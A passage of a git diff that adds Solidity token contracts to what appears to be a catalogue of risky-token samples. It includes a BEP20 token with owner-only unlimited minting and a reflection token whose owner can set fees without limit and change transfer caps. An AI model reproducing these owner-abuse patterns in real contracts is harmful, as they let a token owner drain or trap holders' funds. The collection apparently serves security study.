18; + _balances[msg.sender] = _totalSupply; + + emit Transfer(address(0), msg.sender, _totalSupply); + } + + /** + * @dev Returns the bep token owner. + */ + function getOwner() external view returns (address) { + return owner(); + } + + /** + * @dev Returns the token decimals. + */ + function decimals() external view returns (uint8) { + return _decimals; + } + + /** + * @dev Returns the token symbol. + */ + function symbol() external view returns (string memory) { + return _symbol; + } + + /** + * @dev Returns the token name. + */ + function name() external view returns (string memory) { + return _name; + } + + /** + * @dev See {BEP20-totalSupply}. + */ + function totalSupply() external view returns (uint256) { + return _totalSupply; + } + + /** + * @dev See {BEP20-balanceOf}. + */ + function balanceOf(address account) external view returns (uint256) { + return _balances[account]; + } + + /** + * @dev See {BEP20-transfer}. + * + * Requirements: + * + * - `recipient` cannot be the zero address. + * - the caller must have a balance of at least `amount`. + */ + function transfer(address recipient, uint256 amount) external returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + /** + * @dev See {BEP20-allowance}. + */ + function allowance(address owner, address spender) external view returns (uint256) { + return _allowances[owner][spender]; + } + + /** + * @dev See {BEP20-approve}. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function approve(address spender, uint256 amount) external returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + /** + * @dev See {BEP20-transferFrom}. + * + * Emits an {Approval} event indicating the updated allowance. This is not + * required by the EIP. See the note at the beginning of {BEP20}; + * + * Requirements: + * - `sender` and `recipient` cannot be the zero address. + * - `sender` must have a balance of at least `amount`. + * - the caller must have allowance for `sender`'s tokens of at least + * `amount`. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); + return true; + } + + /** + * @dev Atomically increases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {BEP20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + /** + * @dev Atomically decreases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {BEP20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + * - `spender` must have allowance for the caller of at least + * `subtractedValue`. + */ + function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); + return true; + } + + /** + * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing + * the total supply. + * + * Requirements + * + * - `msg.sender` must be the token owner + */ + function mint(uint256 amount) public onlyOwner returns (bool) { + _mint(_msgSender(), amount); + return true; + } + + /** + * @dev Moves tokens `amount` from `sender` to `recipient`. + * + * This is internal function is equivalent to {transfer}, and can be used to + * e.g. implement automatic token fees, slashing mechanisms, etc. + * + * Emits a {Transfer} event. + * + * Requirements: + * + * - `sender` cannot be the zero address. + * - `recipient` cannot be the zero address. + * - `sender` must have a balance of at least `amount`. + */ + function _transfer(address sender, address recipient, uint256 amount) internal { + require(sender != address(0), "BEP20: transfer from the zero address"); + require(recipient != address(0), "BEP20: transfer to the zero address"); + + _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + } + + /** @dev Creates `amount` tokens and assigns them to `account`, increasing + * the total supply. + * + * Emits a {Transfer} event with `from` set to the zero address. + * + * Requirements + * + * - `to` cannot be the zero address. + */ + function _mint(address account, uint256 amount) internal { + require(account != address(0), "BEP20: mint to the zero address"); + + _totalSupply = _totalSupply.add(amount); + _balances[account] = _balances[account].add(amount); + emit Transfer(address(0), account, amount); + } + + /** + * @dev Destroys `amount` tokens from `account`, reducing the + * total supply. + * + * Emits a {Transfer} event with `to` set to the zero address. + * + * Requirements + * + * - `account` cannot be the zero address. + * - `account` must have at least `amount` tokens. + */ + function _burn(address account, uint256 amount) internal { + require(account != address(0), "BEP20: burn from the zero address"); + + _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); + _totalSupply = _totalSupply.sub(amount); + emit Transfer(account, address(0), amount); + } + + /** + * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. + * + * This is internal function is equivalent to `approve`, and can be used to + * e.g. set automatic allowances for certain subsystems, etc. + * + * Emits an {Approval} event. + * + * Requirements: + * + * - `owner` cannot be the zero address. + * - `spender` cannot be the zero address. + */ + function _approve(address owner, address spender, uint256 amount) internal { + require(owner != address(0), "BEP20: approve from the zero address"); + require(spender != address(0), "BEP20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + /** + * @dev Destroys `amount` tokens from `account`.`amount` is then deducted + * from the caller's allowance. + * + * See {_burn} and {_approve}. + */ + function _burnFrom(address account, uint256 amount) internal { + _burn(account, amount); + _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); + } +} \ No newline at end of file diff --git a/src/TSB-2023-003/metadata.json b/src/TSB-2023-003/metadata.json index e10e3c1..2b6ceb0 100644 --- a/src/TSB-2023-003/metadata.json +++ b/src/TSB-2023-003/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-003/samples/04.sol b/src/TSB-2023-003/samples/04.sol new file mode 100644 index 0000000..daf08ab --- /dev/null +++ b/src/TSB-2023-003/samples/04.sol @@ -0,0 +1,918 @@ +/** + *Submitted for verification at BscScan.com on 2021-06-06 +*/ + +// SPDX-License-Identifier: Unlicensed + +pragma solidity ^0.8.4; + +interface IERC20 { + + function totalSupply() external view returns (uint256); + function balanceOf(address account) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); + function allowance(address owner, address spender) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +library SafeMath { + + function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + uint256 c = a + b; + if (c < a) return (false, 0); + return (true, c); + } + } + + function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b > a) return (false, 0); + return (true, a - b); + } + } + + function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) return (true, 0); + uint256 c = a * b; + if (c / a != b) return (false, 0); + return (true, c); + } + } + + function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b == 0) return (false, 0); + return (true, a / b); + } + } + + function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b == 0) return (false, 0); + return (true, a % b); + } + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + return a + b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return a - b; + } + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + return a * b; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return a / b; + } + + + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return a % b; + } + + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + unchecked { + require(b <= a, errorMessage); + return a - b; + } + } + + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + unchecked { + require(b > 0, errorMessage); + return a / b; + } + } + + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + unchecked { + require(b > 0, errorMessage); + return a % b; + } + } +} + + + + +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + + +library Address { + + function isContract(address account) internal view returns (bool) { + uint256 size; + assembly { size := extcodesize(account) } + return size > 0; + } + + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0, errorMessage); + } + + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + require(isContract(target), "Address: call to non-contract"); + (bool success, bytes memory returndata) = target.call{ value: value }(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + return functionStaticCall(target, data, "Address: low-level static call failed"); + } + + function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { + require(isContract(target), "Address: static call to non-contract"); + (bool success, bytes memory returndata) = target.staticcall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + return functionDelegateCall(target, data, "Address: low-level delegate call failed"); + } + + function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + require(isContract(target), "Address: delegate call to non-contract"); + (bool success, bytes memory returndata) = target.delegatecall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { + if (success) { + return returndata; + } else { + if (returndata.length > 0) { + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + + + +abstract contract Ownable is Context { + address public _owner; + address private _previousOwner; + uint256 public _lockTime; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + constructor () { + _owner = _msgSender(); + emit OwnershipTransferred(address(0), _owner); + } + + function owner() public view virtual returns (address) { + return _owner; + } + + modifier onlyOwner() { + require(owner() == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + + //Locks the contract for owner for the amount of time provided + function lock(uint256 time) public virtual onlyOwner { + _previousOwner = _owner; + _owner = address(0); + _lockTime = time; + emit OwnershipTransferred(_owner, address(0)); + } + + //Unlocks the contract for owner when _lockTime is exceeds + function unlock() public virtual { + require(_previousOwner == msg.sender, "You don't have permission to unlock."); + require(block.timestamp > _lockTime , "Contract is locked."); + emit OwnershipTransferred(_owner, _previousOwner); + _owner = _previousOwner; + } +} + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + function createPair(address tokenA, address tokenB) external returns (address pair); + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + function DOMAIN_SEPARATOR() external view returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + function mint(address to) external returns (uint liquidity); + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + function initialize(address, address) external; +} + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); +} + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + +contract CoinToken is Context, IERC20, Ownable { + using SafeMath for uint256; + using Address for address; + + mapping (address => uint256) private _rOwned; + mapping (address => uint256) private _tOwned; + mapping (address => mapping (address => uint256)) private _allowances; + mapping (address => bool) private _isExcludedFromFee; + mapping (address => bool) private _isExcluded; + address[] private _excluded; + address public _devWalletAddress; // TODO - team wallet here + uint256 private constant MAX = ~uint256(0); + uint256 private _tTotal; + uint256 private _rTotal; + uint256 private _tFeeTotal; + string private _name; + string private _symbol; + uint256 private _decimals; + uint256 public _taxFee; + uint256 private _previousTaxFee; + uint256 public _devFee; + uint256 private _previousDevFee; + uint256 public _liquidityFee; + uint256 private _previousLiquidityFee; + IUniswapV2Router02 public uniswapV2Router; + address public uniswapV2Pair; + bool inSwapAndLiquify; + bool public swapAndLiquifyEnabled = true; + uint256 public _maxTxAmount; + uint256 public numTokensSellToAddToLiquidity; + event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); + event SwapAndLiquifyEnabledUpdated(bool enabled); + event SwapAndLiquify( + uint256 tokensSwapped, + uint256 ethReceived, + uint256 tokensIntoLiqudity + ); + + modifier lockTheSwap { + inSwapAndLiquify = true; + _; + inSwapAndLiquify = false; + } + + constructor (string memory _NAME, string memory _SYMBOL, uint256 _DECIMALS, uint256 _supply, uint256 _txFee,uint256 _lpFee,uint256 _DexFee,address routerAddress,address feeaddress,address tokenOwner,address service) public payable { + _name = _NAME; + _symbol = _SYMBOL; + _decimals = _DECIMALS; + _tTotal = _supply * 10 ** _decimals; + _rTotal = (MAX - (MAX % _tTotal)); + _taxFee = _txFee; + _liquidityFee = _lpFee; + _previousTaxFee = _txFee; + + _devFee = _DexFee; + _previousDevFee = _devFee; + _previousLiquidityFee = _lpFee; + _maxTxAmount = (_tTotal * 5 / 1000) * 10 ** _decimals; + numTokensSellToAddToLiquidity = (_tTotal * 5 / 10000) * 10 ** _decimals; + _devWalletAddress = feeaddress; + + _rOwned[tokenOwner] = _rTotal; + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress); + // Create a uniswap pair for this new token + uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) + .createPair(address(this), _uniswapV2Router.WETH()); + + // set the rest of the contract variables + uniswapV2Router = _uniswapV2Router; + + //exclude owner and this contract from fee + _isExcludedFromFee[tokenOwner] = true; + _isExcludedFromFee[address(this)] = true; + + _owner = tokenOwner; + payable(service).transfer(msg.value); + emit Transfer(address(0), tokenOwner, _tTotal); + + + } + + function name() public view returns (string memory) { + return _name; + } + + function symbol() public view returns (string memory) { + return _symbol; + } + + function decimals() public view returns (uint256) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _tTotal; + } + + function balanceOf(address account) public view override returns (uint256) { + if (_isExcluded[account]) return _tOwned[account]; + return tokenFromReflection(_rOwned[account]); + } + + function transfer(address recipient, uint256 amount) public override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); + return true; + } + + function isExcludedFromReward(address account) public view returns (bool) { + return _isExcluded[account]; + } + + function totalFees() public view returns (uint256) { + return _tFeeTotal; + } + + function deliver(uint256 tAmount) public { + address sender = _msgSender(); + require(!_isExcluded[sender], "Excluded addresses cannot call this function"); + (uint256 rAmount,,,,,,) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rTotal = _rTotal.sub(rAmount); + _tFeeTotal = _tFeeTotal.add(tAmount); + } + + function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { + require(tAmount <= _tTotal, "Amount must be less than supply"); + if (!deductTransferFee) { + (uint256 rAmount,,,,,,) = _getValues(tAmount); + return rAmount; + } else { + (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); + return rTransferAmount; + } + } + + function tokenFromReflection(uint256 rAmount) public view returns(uint256) { + require(rAmount <= _rTotal, "Amount must be less than total reflections"); + uint256 currentRate = _getRate(); + return rAmount.div(currentRate); + } + + function excludeFromReward(address account) public onlyOwner() { + require(!_isExcluded[account], "Account is already excluded"); + if(_rOwned[account] > 0) { + _tOwned[account] = tokenFromReflection(_rOwned[account]); + } + _isExcluded[account] = true; + _excluded.push(account); + } + + function includeInReward(address account) external onlyOwner() { + require(_isExcluded[account], "Account is already included"); + for (uint256 i = 0; i < _excluded.length; i++) { + if (_excluded[i] == account) { + _excluded[i] = _excluded[_excluded.length - 1]; + _tOwned[account] = 0; + _isExcluded[account] = false; + _excluded.pop(); + break; + } + } + } + function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _takeDev(tDev); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function excludeFromFee(address account) public onlyOwner { + _isExcludedFromFee[account] = true; + } + + function includeInFee(address account) public onlyOwner { + _isExcludedFromFee[account] = false; + } + + function setTaxFeePercent(uint256 taxFee) external onlyOwner() { + _taxFee = taxFee; + } + + function setDevFeePercent(uint256 devFee) external onlyOwner() { + _devFee = devFee; + } + + function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { + _liquidityFee = liquidityFee; + } + + function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner { + _maxTxAmount = maxTxPercent * 10 ** _decimals; + } + + function setDevWalletAddress(address _addr) public onlyOwner { + _devWalletAddress = _addr; + } + + + function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { + swapAndLiquifyEnabled = _enabled; + emit SwapAndLiquifyEnabledUpdated(_enabled); + } + + //to recieve ETH from uniswapV2Router when swaping + receive() external payable {} + + function _reflectFee(uint256 rFee, uint256 tFee) private { + _rTotal = _rTotal.sub(rFee); + _tFeeTotal = _tFeeTotal.add(tFee); + } + + function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { + (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getTValues(tAmount); + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDev, _getRate()); + return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDev); + } + + function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { + uint256 tFee = calculateTaxFee(tAmount); + uint256 tLiquidity = calculateLiquidityFee(tAmount); + uint256 tDev = calculateDevFee(tAmount); + uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev); + return (tTransferAmount, tFee, tLiquidity, tDev); + } + + function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev, uint256 currentRate) private pure returns (uint256, uint256, uint256) { + uint256 rAmount = tAmount.mul(currentRate); + uint256 rFee = tFee.mul(currentRate); + uint256 rLiquidity = tLiquidity.mul(currentRate); + uint256 rDev = tDev.mul(currentRate); + uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev); + return (rAmount, rTransferAmount, rFee); + } + + function _getRate() private view returns(uint256) { + (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); + return rSupply.div(tSupply); + } + + function _getCurrentSupply() private view returns(uint256, uint256) { + uint256 rSupply = _rTotal; + uint256 tSupply = _tTotal; + for (uint256 i = 0; i < _excluded.length; i++) { + if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); + rSupply = rSupply.sub(_rOwned[_excluded[i]]); + tSupply = tSupply.sub(_tOwned[_excluded[i]]); + } + if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); + return (rSupply, tSupply); + } + + function _takeLiquidity(uint256 tLiquidity) private { + uint256 currentRate = _getRate(); + uint256 rLiquidity = tLiquidity.mul(currentRate); + _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); + if(_isExcluded[address(this)]) + _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); + } + + function _takeDev(uint256 tDev) private { + uint256 currentRate = _getRate(); + uint256 rDev = tDev.mul(currentRate); + _rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev); + if(_isExcluded[_devWalletAddress]) + _tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev); + } + + function calculateTaxFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_taxFee).div( + 10**2 + ); + } + + function calculateDevFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_devFee).div( + 10**2 + ); + } + + function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_liquidityFee).div( + 10**2 + ); + } + + function removeAllFee() private { + _previousTaxFee = _taxFee; + _previousDevFee = _devFee; + _previousLiquidityFee = _liquidityFee; + + _taxFee = 0; + _devFee = 0; + _liquidityFee = 0; + } + + function restoreAllFee() private { + _taxFee = _previousTaxFee; + _devFee = _previousDevFee; + _liquidityFee = _previousLiquidityFee; + } + + function isExcludedFromFee(address account) public view returns(bool) { + return _isExcludedFromFee[account]; + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _transfer( + address from, + address to, + uint256 amount + ) private { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + require(amount > 0, "Transfer amount must be greater than zero"); + if(from != owner() && to != owner()) + require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); + + uint256 contractTokenBalance = balanceOf(address(this)); + + if(contractTokenBalance >= _maxTxAmount) + { + contractTokenBalance = _maxTxAmount; + } + + bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; + if ( + overMinTokenBalance && + !inSwapAndLiquify && + from != uniswapV2Pair && + swapAndLiquifyEnabled + ) { + contractTokenBalance = numTokensSellToAddToLiquidity; + swapAndLiquify(contractTokenBalance); + } + + bool takeFee = true; + if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ + takeFee = false; + } + + _tokenTransfer(from,to,amount,takeFee); + } + + function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { + uint256 half = contractTokenBalance.div(2); + uint256 otherHalf = contractTokenBalance.sub(half); + uint256 initialBalance = address(this).balance; + swapTokensForEth(half); + uint256 newBalance = address(this).balance.sub(initialBalance); + addLiquidity(otherHalf, newBalance); + emit SwapAndLiquify(half, newBalance, otherHalf); + } + + function swapTokensForEth(uint256 tokenAmount) private { + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = uniswapV2Router.WETH(); + _approve(address(this), address(uniswapV2Router), tokenAmount); + uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), + block.timestamp + ); + } + + function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { + _approve(address(this), address(uniswapV2Router), tokenAmount); + uniswapV2Router.addLiquidityETH{value: ethAmount}( + address(this), + tokenAmount, + 0, // slippage is unavoidable + 0, // slippage is unavoidable + owner(), + block.timestamp + ); + } + + function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { + if(!takeFee) + removeAllFee(); + + if (_isExcluded[sender] && !_isExcluded[recipient]) { + _transferFromExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && _isExcluded[recipient]) { + _transferToExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { + _transferStandard(sender, recipient, amount); + } else if (_isExcluded[sender] && _isExcluded[recipient]) { + _transferBothExcluded(sender, recipient, amount); + } else { + _transferStandard(sender, recipient, amount); + } + + if(!takeFee) + restoreAllFee(); + } + + function _transferStandard(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _takeDev(tDev); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function 